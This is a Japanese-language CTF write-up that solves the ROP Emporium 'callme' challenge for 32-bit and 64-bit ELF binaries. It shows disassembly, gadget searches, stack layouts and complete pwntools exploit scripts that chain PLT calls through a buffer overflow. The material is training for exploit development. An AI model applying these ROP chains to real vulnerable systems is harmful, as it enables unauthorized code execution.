ROP Emporium callme writeup

# ROP Emporium

ROPの練習問題集

[ROP Emporium](https://ropemporium.com/)

解法時のメモをまとめておきます。
誤りや指摘事項があれば、コメントお願いします。

## writeup link

- [ret2win](https://qiita.com/ham_o_o_/items/3d022bad3938fce53f15)
- [split](https://qiita.com/ham_o_o_/items/a84c90f033f20854ddd8)
- [callme](https://qiita.com/ham_o_o_/items/8aa7055c284feac4f6a1)
- [write4](https://qiita.com/ham_o_o_/items/a795741145986088a397)
- [badchars](https://qiita.com/ham_o_o_/items/14c59aa72cbd9ba9fab0)
- [fluff](https://qiita.com/ham_o_o_/items/42144f50a44daf8afbf5)


## callme32 writeup

32bitのELF実行ファイル。
とりあえず、実行してみる。

```
# file callme32
callme32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ceeb3a388347fd09bb234f44846f1480ac7abf64, not stripped
# 
# 
# ./callme32 
callme by ROP Emporium
32bits

Hope you read the instructions...
> test

Exiting
# 
```

nmコマンドで実行ファイルのシンボル情報を確認する。
[nm](https://linuxcommand.net/nm/)

```
# nm callme32
0804a03c B __bss_start
         U callme_one
         U callme_three
         U callme_two
0804a068 b completed.7200
0804a034 D __data_start
0804a034 W data_start
08048680 t deregister_tm_clones
080486f0 t __do_global_dtors_aux
08049efc d __do_global_dtors_aux_fini_array_entry
0804a038 D __dso_handle
08049f04 d _DYNAMIC
0804a03c D _edata
0804a06c B _end
         U exit@@GLIBC_2.0
         U fgets@@GLIBC_2.0
080488b4 T _fini
080488c8 R _fp_hw
08048710 t frame_dummy
08049ef8 d __frame_dummy_init_array_entry
08048a60 r __FRAME_END__
0804a000 d _GLOBAL_OFFSET_TABLE_
         w __gmon_start__
08048920 r __GNU_EH_FRAME_HDR
08048558 T _init
08049efc d __init_array_end
08049ef8 d __init_array_start
080488cc R _IO_stdin_used
         w _ITM_deregisterTMCloneTable
         w _ITM_registerTMCloneTable
08049f00 d __JCR_END__
08049f00 d __JCR_LIST__
         w _Jv_RegisterClasses
080488b0 T __libc_csu_fini
08048850 T __libc_csu_init
         U __libc_start_main@@GLIBC_2.0
0804873b T main
         U memset@@GLIBC_2.0
         U printf@@GLIBC_2.0
         U puts@@GLIBC_2.0
080487b6 t pwnme
080486b0 t register_tm_clones
         U setvbuf@@GLIBC_2.0
08048640 T _start
0804a040 B stderr@@GLIBC_2.0
0804a060 B stdin@@GLIBC_2.0
0804a064 B stdout@@GLIBC_2.0
0804a03c D __TMC_END__
0804880c t usefulFunction
08048670 T __x86.get_pc_thunk.bx
# 
```

callme_one / callme_three / callme_twoがある。
また、usefulFunctionというシンボルがある。

>Important:
To dispose of the need for any RE we'll tell you the following:
You must call callme_one(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag. The solution here is simple enough, use your knowledge about what resides in the PLT to call the callme_ functions in the above order and with the correct arguments. Don't get distracted by the incorrect calls to these functions made in the binary, they're there to ensure these functions get linked. You can also ignore the .dat files and the encrypted flag in this challenge, they're there to ensure the functions must be called in the correct order.

問題文にもあるようにこれらを以下の順に実施すれば、フラグが出力される。

1. callme_one(1, 2, 3)
2. callme_two(1, 2, 3)
3. callme_three(1, 2, 3)


gdbでcallme32を解析していく。
canaryは今回も無効。

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 
```

main / pwnme関数の内容は他の問題と同様。
[ret2win writeup](https://qiita.com/ham_o_o_/items/3d022bad3938fce53f15)



callme_one / callme_two / callme_threeの内容を確認する。
pdisコマンドを実行する前に、startコマンドでプログラムを実行する必要がある。

```
gdb-peda$ pdis callme_one
Dump of assembler code for function callme_one@plt:
   0x080485c0 <+0>:	jmp    DWORD PTR ds:0x804a018
   0x080485c6 <+6>:	push   0x18
   0x080485cb <+11>:	jmp    0x8048580
End of assembler dump.
gdb-peda$ 
```

プログラム実行前にpdisコマンドを実行すると上記のような出力になる。
callme_one関数のアドレスはプログラム実行時に、紐づけられる。

[PLT/GOT](https://tkmr.hatenablog.com/entry/2017/02/28/030528)

```
gdb-peda$ pdis callme_one
Dump of assembler code for function callme_one:
   0xf7fcb6d0 <+0>:	push   ebp
   0xf7fcb6d1 <+1>:	mov    ebp,esp
   0xf7fcb6d3 <+3>:	push   ebx
   0xf7fcb6d4 <+4>:	sub    esp,0x14
   0xf7fcb6d7 <+7>:	call   0xf7fcb5a0 <__x86.get_pc_thunk.bx>
   0xf7fcb6dc <+12>:	add    ebx,0x1924
   0xf7fcb6e2 <+18>:	cmp    DWORD PTR [ebp+0x8],0x1
   0xf7fcb6e6 <+22>:	jne    0xf7fcb7ab <callme_one+219>
   0xf7fcb6ec <+28>:	cmp    DWORD PTR [ebp+0xc],0x2
   0xf7fcb6f0 <+32>:	jne    0xf7fcb7ab <callme_one+219>
   0xf7fcb6f6 <+38>:	cmp    DWORD PTR [ebp+0x10],0x3
   0xf7fcb6fa <+42>:	jne    0xf7fcb7ab <callme_one+219>
   0xf7fcb700 <+48>:	mov    DWORD PTR [ebp-0xc],0x0
   0xf7fcb707 <+55>:	sub    esp,0x8
   0xf7fcb70a <+58>:	lea    eax,[ebx-0x163c]
   0xf7fcb710 <+64>:	push   eax
   0xf7fcb711 <+65>:	lea    eax,[ebx-0x163a]
   0xf7fcb717 <+71>:	push   eax
   0xf7fcb718 <+72>:	call   0xf7fcb570 <fopen@plt>
   0xf7fcb71d <+77>:	add    esp,0x10
   0xf7fcb720 <+80>:	mov    DWORD PTR [ebp-0xc],eax
   0xf7fcb723 <+83>:	cmp    DWORD PTR [ebp-0xc],0x0
   0xf7fcb727 <+87>:	jne    0xf7fcb745 <callme_one+117>
   0xf7fcb729 <+89>:	sub    esp,0xc
   0xf7fcb72c <+92>:	lea    eax,[ebx-0x1624]
   0xf7fcb732 <+98>:	push   eax
   0xf7fcb733 <+99>:	call   0xf7fcb550 <puts@plt>
   0xf7fcb738 <+104>:	add    esp,0x10
   0xf7fcb73b <+107>:	sub    esp,0xc
   0xf7fcb73e <+110>:	push   0x1
   0xf7fcb740 <+112>:	call   0xf7fcb560 <exit@plt>
   0xf7fcb745 <+117>:	sub    esp,0xc
   0xf7fcb748 <+120>:	push   0x21
   0xf7fcb74a <+122>:	call   0xf7fcb540 <malloc@plt>
   0xf7fcb74f <+127>:	add    esp,0x10
   0xf7fcb752 <+130>:	mov    DWORD PTR [ebx+0x34],eax
   0xf7fcb758 <+136>:	mov    eax,DWORD PTR [ebx+0x34]
   0xf7fcb75e <+142>:	test   eax,eax
   0xf7fcb760 <+144>:	jne    0xf7fcb77e <callme_one+174>
   0xf7fcb762 <+146>:	sub    esp,0xc
   0xf7fcb765 <+149>:	lea    eax,[ebx-0x1602]
   0xf7fcb76b <+155>:	push   eax
   0xf7fcb76c <+156>:	call   0xf7fcb550 <puts@plt>
   0xf7fcb771 <+161>:	add    esp,0x10
   0xf7fcb774 <+164>:	sub    esp,0xc
   0xf7fcb777 <+167>:	push   0x1
   0xf7fcb779 <+169>:	call   0xf7fcb560 <exit@plt>
   0xf7fcb77e <+174>:	mov    eax,DWORD PTR [ebx+0x34]
   0xf7fcb784 <+180>:	sub    esp,0x4
   0xf7fcb787 <+183>:	push   DWORD PTR [ebp-0xc]
   0xf7fcb78a <+186>:	push   0x21
   0xf7fcb78c <+188>:	push   eax
   0xf7fcb78d <+189>:	call   0xf7fcb520 <fgets@plt>
   0xf7fcb792 <+194>:	add    esp,0x10
   0xf7fcb795 <+197>:	mov    DWORD PTR [ebx+0x34],eax
   0xf7fcb79b <+203>:	sub    esp,0xc
   0xf7fcb79e <+206>:	push   DWORD PTR [ebp-0xc]
   0xf7fcb7a1 <+209>:	call   0xf7fcb530 <fclose@plt>
   0xf7fcb7a6 <+214>:	add    esp,0x10
   0xf7fcb7a9 <+217>:	jmp    0xf7fcb7c7 <callme_one+247>
   0xf7fcb7ab <+219>:	sub    esp,0xc
   0xf7fcb7ae <+222>:	lea    eax,[ebx-0x15e8]
   0xf7fcb7b4 <+228>:	push   eax
   0xf7fcb7b5 <+229>:	call   0xf7fcb550 <puts@plt>
   0xf7fcb7ba <+234>:	add    esp,0x10
   0xf7fcb7bd <+237>:	sub    esp,0xc
   0xf7fcb7c0 <+240>:	push   0x1
   0xf7fcb7c2 <+242>:	call   0xf7fcb560 <exit@plt>
   0xf7fcb7c7 <+247>:	nop
   0xf7fcb7c8 <+248>:	mov    ebx,DWORD PTR [ebp-0x4]
   0xf7fcb7cb <+251>:	leave  
   0xf7fcb7cc <+252>:	ret    
End of assembler dump.
gdb-peda$ 
```

\<callme_one+18>から\<callme_one+48>のあたりで引数が(1, 2, 3)になっているか確認している。
callme_two / callme_threeも同様。

usefulFunctionの内容を確認する。

```
gdb-peda$ pdis usefulFunction
Dump of assembler code for function usefulFunction:
   0x0804880c <+0>:	push   ebp
   0x0804880d <+1>:	mov    ebp,esp
   0x0804880f <+3>:	sub    esp,0x8
   0x08048812 <+6>:	sub    esp,0x4
   0x08048815 <+9>:	push   0x6
   0x08048817 <+11>:	push   0x5
   0x08048819 <+13>:	push   0x4
   0x0804881b <+15>:	call   0x80485b0 <callme_three@plt>
   0x08048820 <+20>:	add    esp,0x10
   0x08048823 <+23>:	sub    esp,0x4
   0x08048826 <+26>:	push   0x6
   0x08048828 <+28>:	push   0x5
   0x0804882a <+30>:	push   0x4
   0x0804882c <+32>:	call   0x8048620 <callme_two@plt>
   0x08048831 <+37>:	add    esp,0x10
   0x08048834 <+40>:	sub    esp,0x4
   0x08048837 <+43>:	push   0x6
   0x08048839 <+45>:	push   0x5
   0x0804883b <+47>:	push   0x4
   0x0804883d <+49>:	call   0x80485c0 <callme_one@plt>
   0x08048842 <+54>:	add    esp,0x10
   0x08048845 <+57>:	sub    esp,0xc
   0x08048848 <+60>:	push   0x1
   0x0804884a <+62>:	call   0x80485e0 <exit@plt>
End of assembler dump.
gdb-peda$ 
```

usefulFunctionではcallme_one / callme_two / callme_threeが呼び出されている。
しかし、引数が(4, 5, 6)となっているためフラグは出力されない。

問題文にある通り、1,2,3の引数をstackに積む必要がある。
また、callme_one / callme_two / callme_threeと順に実行する必要があるため、一つの関数の呼び出しが終わるたびにstackに積んでいた引数をpop命令によってレジスタに移動させなければならない。
stackに積む値は以下のようになる想定。

```
+--------------------+
|       dummy        |
+--------------------+
|     callme_one     |
+--------------------+
|       pop × 3      |
+--------------------+
|         0x1        |
+--------------------+
|         0x2        |
+--------------------+
|         0x3        |
+--------------------+
|     callme_two     |
+--------------------+
|       pop × 3      |
+--------------------+
|         0x1        |
+--------------------+
|         0x2        |
+--------------------+
|         0x3        |
+--------------------+
|     callme_three   |
+--------------------+
|       pop × 3      |
+--------------------+
|         0x1        |
+--------------------+
|         0x2        |
+--------------------+
|         0x3        |
+--------------------+
```

`pop × 3`では、stackの値を3回 popするROP gadgetのアドレスが入る。
そのようなROP gadgetを探す。

```
# ROPgadget --binary ./callme32
Gadgets information
============================================================
0x08048a39 : adc al, 0x41 ; ret
0x0804872e : adc al, 0x50 ; call edx
0x0804869d : adc al, 0x68 ; cmp al, 0xa0 ; add al, 8 ; call eax
0x080486d6 : adc byte ptr [eax + 0x68], dl ; cmp al, 0xa0 ; add al, 8 ; call edx
0x080486a7 : adc cl, cl ; ret
0x08048708 : add al, 8 ; add ecx, ecx ; ret
0x080486a1 : add al, 8 ; call eax
0x080486db : add al, 8 ; call edx
0x080488af : add bl, dh ; ret
0x08048574 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x080487ac : add byte ptr [eax], al ; mov ecx, dword ptr [ebp - 4] ; leave ; lea esp, [ecx - 4] ; ret
0x080487ad : add byte ptr [ebx - 0x723603b3], cl ; popal ; cld ; ret
0x08048705 : add eax, 0x804a068 ; add ecx, ecx ; ret
0x0804870a : add ecx, ecx ; ret
0x080486a5 : add esp, 0x10 ; leave ; ret
0x08048806 : add esp, 0x10 ; nop ; leave ; ret
0x080488a5 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048576 : add esp, 8 ; pop ebx ; ret
0x08048a36 : and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
0x080486a3 : call eax
0x080486dd : call edx
0x080487b0 : cld ; leave ; lea esp, [ecx - 4] ; ret
0x080487b4 : cld ; ret
0x0804869f : cmp al, 0xa0 ; add al, 8 ; call eax
0x080486d9 : cmp al, 0xa0 ; add al, 8 ; call edx
0x080487af : dec ebp ; cld ; leave ; lea esp, [ecx - 4] ; ret
0x08048a34 : dec ebp ; push cs ; and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
0x0804872d : in al, dx ; adc al, 0x50 ; call edx
0x0804869c : in al, dx ; adc al, 0x68 ; cmp al, 0xa0 ; add al, 8 ; call eax
0x080486d5 : in al, dx ; adc byte ptr [eax + 0x68], dl ; cmp al, 0xa0 ; add al, 8 ; call edx
0x0804872b : in eax, 0x83 ; in al, dx ; adc al, 0x50 ; call edx
0x0804869a : in eax, 0x83 ; in al, dx ; adc al, 0x68 ; cmp al, 0xa0 ; add al, 8 ; call eax
0x08048805 : inc dword ptr [ebx - 0x366fef3c] ; ret
0x080488bf : inc ebx ; pop ss ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x08048a3a : inc ecx ; ret
0x08048a37 : inc edi ; push cs ; adc al, 0x41 ; ret
0x080488ae : jbe 0x80488b3 ; ret
0x08048727 : je 0x8048724 ; push ebp ; mov ebp, esp ; sub esp, 0x14 ; push eax ; call edx
0x080488a4 : jecxz 0x8048831 ; les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x0804894f : jmp eax
0x080488a3 : jne 0x8048891 ; add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048802 : lcall 0x10c4:0x83fffffd ; nop ; leave ; ret
0x080488ad : lea esi, [esi] ; ret
0x080487b2 : lea esp, [ecx - 4] ; ret
0x080487b1 : leave ; lea esp, [ecx - 4] ; ret
0x080486a8 : leave ; ret
0x08048577 : les ecx, ptr [eax] ; pop ebx ; ret
0x080488a6 : les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x080486a6 : les edx, ptr [eax] ; leave ; ret
0x08048807 : les edx, ptr [eax] ; nop ; leave ; ret
0x08048707 : mov al, byte ptr [0xc9010804] ; ret
0x08048704 : mov byte ptr [0x804a068], 1 ; leave ; ret
0x0804872a : mov ebp, esp ; sub esp, 0x14 ; push eax ; call edx
0x08048670 : mov ebx, dword ptr [esp] ; ret
0x080487ae : mov ecx, dword ptr [ebp - 4] ; leave ; lea esp, [ecx - 4] ; ret
0x08048572 : mov edx, 0x83000000 ; les ecx, ptr [eax] ; pop ebx ; ret
0x08048809 : nop ; leave ; ret
0x0804866f : nop ; mov ebx, dword ptr [esp] ; ret
0x0804866d : nop ; nop ; mov ebx, dword ptr [esp] ; ret
0x0804866b : nop ; nop ; nop ; mov ebx, dword ptr [esp] ; ret
0x080488a7 : or al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret
0x080486a2 : or bh, bh ; rol byte ptr [ebx - 0xc36ef3c], 1 ; ret
0x080486dc : or bh, bh ; rol byte ptr [ebx - 0xc36ef3c], cl ; ret
0x08048709 : or byte ptr [ecx], al ; leave ; ret
0x080488ab : pop ebp ; ret
0x080488a8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048579 : pop ebx ; ret
0x080488aa : pop edi ; pop ebp ; ret
0x080488a9 : pop esi ; pop edi ; pop ebp ; ret
0x080488c0 : pop ss ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x080487b3 : popal ; cld ; ret
0x08048706 : push 0x10804a0 ; leave ; ret
0x0804869e : push 0x804a03c ; call eax
0x080486d8 : push 0x804a03c ; call edx
0x08048a38 : push cs ; adc al, 0x41 ; ret
0x08048a35 : push cs ; and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
0x08048a32 : push cs ; xor byte ptr [ebp + 0xe], cl ; and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
0x0804872f : push eax ; call edx
0x080486d7 : push eax ; push 0x804a03c ; call edx
0x08048729 : push ebp ; mov ebp, esp ; sub esp, 0x14 ; push eax ; call edx
0x08048562 : ret
0x080486be : ret 0xeac1
0x080486a4 : rol byte ptr [ebx - 0xc36ef3c], 1 ; ret
0x080486de : rol byte ptr [ebx - 0xc36ef3c], cl ; ret
0x08048671 : sbb al, 0x24 ; ret
0x080486d4 : sub esp, 0x10 ; push eax ; push 0x804a03c ; call edx
0x0804869b : sub esp, 0x14 ; push 0x804a03c ; call eax
0x0804872c : sub esp, 0x14 ; push eax ; call edx
0x08048a33 : xor byte ptr [ebp + 0xe], cl ; and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret

Unique gadgets found: 89
# 
```

`0x080488a9 : pop esi ; pop edi ; pop ebp ; ret`を使用する。
pwntoolsを使用してpayloadを作成する。

```python
from pwn import *

conn = process('./callme32')

one_addr=0x080485c0
two_addr=0x08048620
three_addr=0x080485b0

pop3_addr=0x080488a9

payload = 'A'*44
payload += p32(one_addr)
payload += p32(pop3_addr)
payload += p32(0x1)
payload += p32(0x2)
payload += p32(0x3)

payload += p32(two_addr)
payload += p32(pop3_addr)
payload += p32(0x1)
payload += p32(0x2)
payload += p32(0x3)

payload += p32(three_addr)
payload += p32(pop3_addr)
payload += p32(0x1)
payload += p32(0x2)
payload += p32(0x3)

conn.sendline(payload)
conn.interactive()
```


```
# python ./callme32.py 
[+] Starting local process './callme32': pid 4288
[*] Switching to interactive mode
callme by ROP Emporium
32bits

Hope you read the instructions...
> ROPE{a_placeholder_32byte_flag!}[*] Got EOF while reading in interactive
$ 
```

## callme writeup

callne32の64bit版。
64bitの実行ファイルになっているが、実行時の出力メッセージは特に変化なし。

```
# file callme
callme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=00e98079187631025159f040444e55bed3edcf1c, not stripped
# 
#
#
# ./callme 
callme by ROP Emporium
64bits

Hope you read the instructions...
> test

Exiting
# 
```


```
# nm ./callme
0000000000602078 B __bss_start
                 U callme_one
                 U callme_three
                 U callme_two
00000000006020a8 b completed.7585
0000000000602068 D __data_start
0000000000602068 W data_start
00000000004018d0 t deregister_tm_clones
0000000000401950 t __do_global_dtors_aux
0000000000601df8 d __do_global_dtors_aux_fini_array_entry
0000000000602070 D __dso_handle
0000000000601e08 d _DYNAMIC
0000000000602078 D _edata
00000000006020b0 B _end
                 U exit@@GLIBC_2.2.5
                 U fgets@@GLIBC_2.2.5
0000000000401b34 T _fini
0000000000401970 t frame_dummy
0000000000601df0 d __frame_dummy_init_array_entry
0000000000401d10 r __FRAME_END__
0000000000602000 d _GLOBAL_OFFSET_TABLE_
                 w __gmon_start__
0000000000401b98 r __GNU_EH_FRAME_HDR
00000000004017c0 T _init
0000000000601df8 d __init_array_end
0000000000601df0 d __init_array_start
0000000000401b40 R _IO_stdin_used
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
0000000000601e00 d __JCR_END__
0000000000601e00 d __JCR_LIST__
                 w _Jv_RegisterClasses
0000000000401b30 T __libc_csu_fini
0000000000401ac0 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
0000000000401996 T main
                 U memset@@GLIBC_2.2.5
                 U printf@@GLIBC_2.2.5
                 U puts@@GLIBC_2.2.5
0000000000401a05 t pwnme
0000000000401910 t register_tm_clones
                 U setvbuf@@GLIBC_2.2.5
00000000004018a0 T _start
00000000006020a0 B stderr@@GLIBC_2.2.5
0000000000602090 B stdin@@GLIBC_2.2.5
0000000000602080 B stdout@@GLIBC_2.2.5
0000000000602078 D __TMC_END__
0000000000401a57 t usefulFunction
0000000000401ab0 T usefulGadgets
# 
```

callme32と同様にcallme_one / callme_three / callme_twoがある。
また、usefulFunction / usefulGadgetsというシンボルがある。

callme32と同様に以下の順に実施すれば、フラグが出力される。

1. callme_one(1, 2, 3)
2. callme_two(1, 2, 3)
3. callme_three(1, 2, 3)

gdbでcallmeを解析していく。
canaryは今回も無効。

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 
```

main / pwnme関数の内容は他の問題と同様。

callme_one / callme_two / callme_threeの内容を確認する。
pdisコマンドを実行する前に、startコマンドでプログラムを実行する必要がある。

```
gdb-peda$ pdis callme_one
Dump of assembler code for function callme_one@plt:
   0x0000000000401850 <+0>:	jmp    QWORD PTR [rip+0x2007f2]        # 0x602048 <callme_one@got.plt>
   0x0000000000401856 <+6>:	push   0x6
   0x000000000040185b <+11>:	jmp    0x4017e0
End of assembler dump.
gdb-peda$ 
```

プログラム実行前にpdisコマンドを実行すると上記のような出力になる。
callme_one関数のアドレスはプログラム実行時に、紐づけられる。


```
gdb-peda$ pdis callme_one
Dump of assembler code for function callme_one:
   0x00007ffff7dcd8f0 <+0>:	push   rbp
   0x00007ffff7dcd8f1 <+1>:	mov    rbp,rsp
   0x00007ffff7dcd8f4 <+4>:	sub    rsp,0x20
   0x00007ffff7dcd8f8 <+8>:	mov    DWORD PTR [rbp-0x14],edi
   0x00007ffff7dcd8fb <+11>:	mov    DWORD PTR [rbp-0x18],esi
   0x00007ffff7dcd8fe <+14>:	mov    DWORD PTR [rbp-0x1c],edx
   0x00007ffff7dcd901 <+17>:	cmp    DWORD PTR [rbp-0x14],0x1
   0x00007ffff7dcd905 <+21>:	jne    0x7ffff7dcd9bb <callme_one+203>
   0x00007ffff7dcd90b <+27>:	cmp    DWORD PTR [rbp-0x18],0x2
   0x00007ffff7dcd90f <+31>:	jne    0x7ffff7dcd9bb <callme_one+203>
   0x00007ffff7dcd915 <+37>:	cmp    DWORD PTR [rbp-0x1c],0x3
   0x00007ffff7dcd919 <+41>:	jne    0x7ffff7dcd9bb <callme_one+203>
   0x00007ffff7dcd91f <+47>:	mov    QWORD PTR [rbp-0x8],0x0
   0x00007ffff7dcd927 <+55>:	lea    rsi,[rip+0x282]        # 0x7ffff7dcdbb0
   0x00007ffff7dcd92e <+62>:	lea    rdi,[rip+0x27d]        # 0x7ffff7dcdbb2
   0x00007ffff7dcd935 <+69>:	call   0x7ffff7dcd7c0 <fopen@plt>
   0x00007ffff7dcd93a <+74>:	mov    QWORD PTR [rbp-0x8],rax
   0x00007ffff7dcd93e <+78>:	cmp    QWORD PTR [rbp-0x8],0x0
   0x00007ffff7dcd943 <+83>:	jne    0x7ffff7dcd95b <callme_one+107>
   0x00007ffff7dcd945 <+85>:	lea    rdi,[rip+0x27c]        # 0x7ffff7dcdbc8
   0x00007ffff7dcd94c <+92>:	call   0x7ffff7dcd760 <puts@plt>
   0x00007ffff7dcd951 <+97>:	mov    edi,0x1
   0x00007ffff7dcd956 <+102>:	call   0x7ffff7dcd7d0 <exit@plt>
   0x00007ffff7dcd95b <+107>:	mov    edi,0x21
   0x00007ffff7dcd960 <+112>:	call   0x7ffff7dcd7b0 <malloc@plt>
   0x00007ffff7dcd965 <+117>:	mov    QWORD PTR [rip+0x2006fc],rax        # 0x7ffff7fce068 <g_buf>
   0x00007ffff7dcd96c <+124>:	mov    rax,QWORD PTR [rip+0x2006f5]        # 0x7ffff7fce068 <g_buf>
   0x00007ffff7dcd973 <+131>:	test   rax,rax
   0x00007ffff7dcd976 <+134>:	jne    0x7ffff7dcd98e <callme_one+158>
   0x00007ffff7dcd978 <+136>:	lea    rdi,[rip+0x26b]        # 0x7ffff7dcdbea
   0x00007ffff7dcd97f <+143>:	call   0x7ffff7dcd760 <puts@plt>
   0x00007ffff7dcd984 <+148>:	mov    edi,0x1
   0x00007ffff7dcd989 <+153>:	call   0x7ffff7dcd7d0 <exit@plt>
   0x00007ffff7dcd98e <+158>:	mov    rax,QWORD PTR [rip+0x2006d3]        # 0x7ffff7fce068 <g_buf>
   0x00007ffff7dcd995 <+165>:	mov    rdx,QWORD PTR [rbp-0x8]
   0x00007ffff7dcd999 <+169>:	mov    esi,0x21
   0x00007ffff7dcd99e <+174>:	mov    rdi,rax
   0x00007ffff7dcd9a1 <+177>:	call   0x7ffff7dcd7a0 <fgets@plt>
   0x00007ffff7dcd9a6 <+182>:	mov    QWORD PTR [rip+0x2006bb],rax        # 0x7ffff7fce068 <g_buf>
   0x00007ffff7dcd9ad <+189>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00007ffff7dcd9b1 <+193>:	mov    rdi,rax
   0x00007ffff7dcd9b4 <+196>:	call   0x7ffff7dcd770 <fclose@plt>
   0x00007ffff7dcd9b9 <+201>:	jmp    0x7ffff7dcd9d1 <callme_one+225>
   0x00007ffff7dcd9bb <+203>:	lea    rdi,[rip+0x242]        # 0x7ffff7dcdc04
   0x00007ffff7dcd9c2 <+210>:	call   0x7ffff7dcd760 <puts@plt>
   0x00007ffff7dcd9c7 <+215>:	mov    edi,0x1
   0x00007ffff7dcd9cc <+220>:	call   0x7ffff7dcd7d0 <exit@plt>
   0x00007ffff7dcd9d1 <+225>:	nop
   0x00007ffff7dcd9d2 <+226>:	leave  
   0x00007ffff7dcd9d3 <+227>:	ret    
End of assembler dump.
gdb-peda$ 
```

\<callme_one+17>から\<callme_one+41>のあたりで引数が(1, 2, 3)になっているか確認している。
callme_two / callme_threeも同様。

usefulFunctionの内容を確認する。


```
gdb-peda$ pdis usefulFunction 
Dump of assembler code for function usefulFunction:
   0x0000000000401a57 <+0>:	push   rbp
   0x0000000000401a58 <+1>:	mov    rbp,rsp
   0x0000000000401a5b <+4>:	mov    edx,0x6
   0x0000000000401a60 <+9>:	mov    esi,0x5
   0x0000000000401a65 <+14>:	mov    edi,0x4
   0x0000000000401a6a <+19>:	call   0x401810 <callme_three@plt>
   0x0000000000401a6f <+24>:	mov    edx,0x6
   0x0000000000401a74 <+29>:	mov    esi,0x5
   0x0000000000401a79 <+34>:	mov    edi,0x4
   0x0000000000401a7e <+39>:	call   0x401870 <callme_two@plt>
   0x0000000000401a83 <+44>:	mov    edx,0x6
   0x0000000000401a88 <+49>:	mov    esi,0x5
   0x0000000000401a8d <+54>:	mov    edi,0x4
   0x0000000000401a92 <+59>:	call   0x401850 <callme_one@plt>
   0x0000000000401a97 <+64>:	mov    edi,0x1
   0x0000000000401a9c <+69>:	call   0x401880 <exit@plt>
End of assembler dump.
gdb-peda$ 
```

usefulFunctionではcallme_one / callme_two / callme_threeが呼び出されている。
x64では、x86と違って引数をレジスタに格納する必要がある。
第一引数：rdi、第二引数：rsi、第三引数：rdx。
[]()
usefulFunction関数ではmov命令を使って引数をレジスタに格納している。
しかし、引数が(4, 5, 6)となっているためフラグは出力されない。

usefulGadetsを確認する。

```
gdb-peda$ pdis usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x0000000000401ab0 <+0>:	pop    rdi
   0x0000000000401ab1 <+1>:	pop    rsi
   0x0000000000401ab2 <+2>:	pop    rdx
   0x0000000000401ab3 <+3>:	ret    
   0x0000000000401ab4 <+4>:	nop    WORD PTR cs:[rax+rax*1+0x0]
   0x0000000000401abe <+14>:	xchg   ax,ax
End of assembler dump.
gdb-peda$ 
```

rdi, rsi, rdxの順にpop命令を実行した後に、ret命令が実行されている。
これらを使用すれば、引数を指定のレジスタに格納できる。

引数を各レジスタに格納した後にcallme_one / callme_two / callme_threeを実行するようにstackにROPを積む。
stackに積む値は以下のようになる想定。

```
+--------------------+
|       dummy        |
+--------------------+
|    usefulGadgets   |
+--------------------+
|         0x1        |
+--------------------+
|         0x2        |
+--------------------+
|         0x3        |
+--------------------+
|     callme_one     |
+--------------------+
|    usefulGadgets   |
+--------------------+
|         0x1        |
+--------------------+
|         0x2        |
+--------------------+
|         0x3        |
+--------------------+
|     callme_two     |
+--------------------+
|    usefulGadgets   |
+--------------------+
|         0x1        |
+--------------------+
|         0x2        |
+--------------------+
|         0x3        |
+--------------------+
|     callme_three   |
+--------------------+
```


pwntoolsを使用してpayloadを作成する。

```python
from pwn import *

conn = process('./callme')

one_addr=0x401850
two_addr=0x401870
three_addr=0x401810

pop3_addr=0x401ab0

payload = 'A'*40
payload += p64(pop3_addr)
payload += p64(0x1)
payload += p64(0x2)
payload += p64(0x3)
payload += p64(one_addr)

payload += p64(pop3_addr)
payload += p64(0x1)
payload += p64(0x2)
payload += p64(0x3)
payload += p64(two_addr)

payload += p64(pop3_addr)
payload += p64(0x1)
payload += p64(0x2)
payload += p64(0x3)
payload += p64(three_addr)

conn.sendline(payload)
conn.interactive()
```


```
# python ./callme.py 
[+] Starting local process './callme': pid 14457
[*] Paused (press any to continue)
[*] Switching to interactive mode
callme by ROP Emporium
64bits

Hope you read the instructions...
> ROPE{a_placeholder_32byte_flag!}[*] Process './callme' stopped with exit code 0 (pid 14457)
[*] Got EOF while reading in interactive
$ 
```